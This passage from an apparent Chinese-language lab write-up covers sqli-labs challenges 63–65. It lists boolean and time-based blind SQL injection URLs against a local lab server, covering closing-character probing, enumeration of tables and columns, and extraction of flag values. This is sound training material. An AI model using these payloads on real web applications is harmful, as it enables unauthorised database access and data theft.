http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),11,1))%26256=256%20--+
//查询到表(xbfiaw943d)中的第三个字段值为(secret_58BB);
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%26256=256%20--+
//查询到表(xbfiaw943d)中的第三个字段值(secret_58BB)信息为(d3MjBfNPPIkKWoP7FWrqnH46),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
2.10.4. 使用时间盲注获取数据库信息

EG:

http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为(xbfiaw943d);
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='xbfiaw943d'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表(xbfiaw943d)中的第三个字段值为(secret_58BB);
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20if(ascii(substr((select%20group_concat(secret_58BB)%20from%20xbfiaw943d),1,1))%261=1,sleep(2),1)--+
//查询到表(xbfiaw943d)中的第三个字段值(secret_58BB)信息为(d3MjBfNPPIkKWoP7FWrqnH46),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-63结束;

2.11. SqliLab-64(布尔/时间盲注())闭合)(130次尝试)):
2.11.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第18张图片

2.11.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-64/?id=1 and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-64/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-64/?id=1" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-64/?id=1) and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('')代替())进行构造;
http://192.168.1.104/sql/Less-64/?id=1'' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('")代替('')进行构造;
http://192.168.1.104/sql/Less-64/?id=1'" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('))代替('")进行构造;
http://192.168.1.104/sql/Less-64/?id=1') and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("')代替('))进行构造;
http://192.168.1.104/sql/Less-64/?id=1"' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("")代替("')进行构造;
http://192.168.1.104/sql/Less-64/?id=1"" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("))代替("")进行构造;
http://192.168.1.104/sql/Less-64/?id=1") and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用()')代替("))进行构造;
http://192.168.1.104/sql/Less-64/?id=1)' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用()")代替()')进行构造;
http://192.168.1.104/sql/Less-64/?id=1)" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用()))代替()")进行构造;
http://192.168.1.104/sql/Less-64/?id=1)) and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-64/?id=1)) and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为()));

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-64/?id=1)'") --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-64/?id=1')") --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-64/?id=1)) and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-64/?id=1)) and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

经过测试,判断出参数(id)存在注入,闭合字符为())),同时服务器返回页面不存在回显和SQL语句报错提示,考虑使用布尔/时间盲注获取数据库信息;

2.11.3. 使用布尔盲注获取数据库信息

EG:

http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为(eclzaok8uv);
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),11,1))%26256=256%20--+
//查询到表(eclzaok8uv)中的第三个字段值为(secret_04FF);
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%26256=256%20--+
//查询到表(eclzaok8uv)中的第三个字段值(secret_04FF)信息为(vpkA9EOoJS5C0FCnLnXauoS2),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
2.11.4. 使用时间盲注获取数据库信息

EG:

http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为(eclzaok8uv);
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='eclzaok8uv'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表(eclzaok8uv)中的第三个字段值为(secret_04FF);
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-64/?id=1))%20and%20if(ascii(substr((select%20group_concat(secret_04FF)%20from%20eclzaok8uv),1,1))%261=1,sleep(2),1)--+
//查询到表(eclzaok8uv)中的第三个字段值(secret_04FF)信息为(vpkA9EOoJS5C0FCnLnXauoS2),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-64结束;

2.12. SqliLab-65(布尔/时间盲注(")闭合)(130次尝试)):
2.12.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第19张图片

2.12.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-65/?id=1 and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-65/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-65/?id=1" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-65/?id=1) and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('')代替())进行构造;
http://192.168.1.104/sql/Less-65/?id=1'' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('")代替('')进行构造;
http://192.168.1.104/sql/Less-65/?id=1'" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('))代替('")进行构造;
http://192.168.1.104/sql/Less-65/?id=1') and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("')代替('))进行构造;
http://192.168.1.104/sql/Less-65/?id=1"' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("")代替("')进行构造;
http://192.168.1.104/sql/Less-65/?id=1"" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用("))代替("")进行构造;
http://192.168.1.104/sql/Less-65/?id=1") and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-65/?id=1") and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为("));

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-65/?id=1)'") --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-65/?id=1')") --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-65/?id=1") and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-65/?id=1") and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

经过测试,判断出参数(id)存在注入,闭合字符为(’),同时服务器返回页面不存在回显和SQL语句报错提示,考虑使用布尔/时间盲注获取数据库信息;

2.12.3. 使用布尔盲注获取数据库信息

EG:

http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为(ylyzgrsa08);
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),11,1))%26256=256%20--+
//查询到表(ylyzgrsa08)中的第三个字段值为(secret_MDDC);
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%26256=256%20--+
//查询到表(ylyzgrsa08)中的第三个字段值(secret_MDDC)信息为(oEcpYgjGChmNisVWaJ7WlaLj),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
2.12.4. 使用时间盲注获取数据库信息

EG:

http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为(ylyzgrsa08);
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='ylyzgrsa08'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表(ylyzgrsa08)中的第三个字段值为(secret_MDDC);
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-65/?id=1")%20and%20if(ascii(substr((select%20group_concat(secret_MDDC)%20from%20ylyzgrsa08),1,1))%261=1,sleep(2),1)--+
//查询到表(ylyzgrsa08)中的第三个字段值(secret_MDDC)信息为(oEcpYgjGChmNisVWaJ7WlaLj),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-65结束(SqliLab-62~SqliLab-65都是使用脚本尝试的结果);

3. 总结

经过对CHALLENGE连续十二题的SQL注入,发现虽然有尝试次数的限制,但是也对整个SQL注入的流程(注入点的判断,采用合适方法的条件,注入payload的构造)更加的清楚了,对CHALLENGE中的题目的注入,包含了UNION联合查询,报错注入,布尔盲注,时间盲注这四种方法,前面两种是能相对快速的得到数据库信息,后面两种则是需要花费大量的时间去获取数据库信息(一般采取使用脚本去尝试),但是不管怎样,对于注入点的判断都是最为重要的(很多的类型都是相似的,只是注入点参数的闭合字符不同)。

[如有错误,请指出,拜托了<( _ _ )> !!!]

你可能感兴趣的:(#,MYSQL注入学习)